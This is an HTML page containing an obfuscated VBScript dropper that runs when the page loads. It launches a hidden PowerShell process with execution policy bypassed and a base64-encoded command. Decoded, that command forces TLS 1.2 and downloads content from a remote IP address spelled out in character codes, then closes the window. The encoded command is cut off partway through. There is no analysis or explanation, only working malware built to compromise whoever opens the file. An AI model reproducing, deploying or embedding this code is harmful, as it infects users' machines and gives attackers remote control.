<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<html>
<body>
<SCripT TYPe="teXt/VbscRiPT">
DIm DEVuBGrR , AxPUkKsE : SeT DEVuBGrR = creATeobJECT ( ChrW(&H77) & "ScriPT.sHeLL" ) : AxPUkKsE = "PoWErShELL
-ex BypaSS
-nOP
-W 1
-ec IAAJAAkACQAJAAkACQBbAG4ARQBUAC4AUwBlAFIAdgBpAGMARQBwAG8AaQBuAFQATQBhAE4AQQBHAEUAcgBdADoAOgBzAEUAYwB1AFIASQBUAHkAcABSAE8AVABvAGMATwBsACAAIAAgACAAIAAgACAAIAA9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAE4ARQB0AC4AUwBlAGMAdQByAEkAdAB5AHAAUgBPAFQATwBjAG8ATAB0AFkAcABlAF0AOgA6AFQAbABzADEAMgAgACAAOwAgACAAIAAJAAkAIAAgACAAIAAJAAkACQAJAAkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAZwBFAFQAIAAJAAkAIAAJACAACQAJAAkACQAgAAkAKABbAGMASABhAHIAXQAgADEAMAA0ACAAIAArACAAWwBjAGgAQQBSAF0AIAAxADEANgAgACAAKwAgAFsAQwBoAGEAUgBdACAAMQAxADYAIAAgACsAIABbAEMASABhAFIAXQAgADEAMQAyACAAIAArACAAWwBjAGgAYQBSAF0AIAA1ADgAIAAgACsAIABbAGMASABhAHIAXQAgADQANwAgACAAKwAgAFsAYwBoAGEAUgBdACAANAA3ACAAIAArACAAWwBDAGgAQQBSAF0AIAA0ADkAIAAgACsAIABbAGMAaABBAFIAXQAgADQAOAAgACAAKwAgAFsAYwBIAEEAcgBdACAANQAxACAAIAArACAAWwBDAEgAQQByAF0AIAA0ADYAIAAgACsAIABbAEMAaABBAHIAXQAgADQAOQAgACAAKwAgAFsAYwBIAEEAcgBdACAANQA0ACAAIAArACAAWwBjAGgAYQBSAF0AIAA0ADYAIAAgACsAIABbAGMASABhAFIAXQAgADUAMAAgACAAKwAgAFsAQwBIAEEAcgBdACAANAA5ACAAIAArACAAWwBDAEgAQQByAF0AIAA1ADMAIAAgA
" : DEVuBGrR.rUn cHr ( 34 ) & DEVuBGrR.exPANDEnvIrONmeNtStrinGS( Chr(&H25) & Chr(&H53) & Chr(&H59) & Chr(&H53) & ChrW(&H74) & Chr(&H65) & ChrW(&H4D) & Chr(&H52) & ChrW(&H6F) & ChrW(&H6F) & ChrW(&H74) & ChrW(&H25) ) & "\SYSTEM32\windowsPOweRsHelL\v1.0\poweRSHeLl.EXe" & chr ( 34 ) &
seLf.ClosE
</script>
</body>
</html>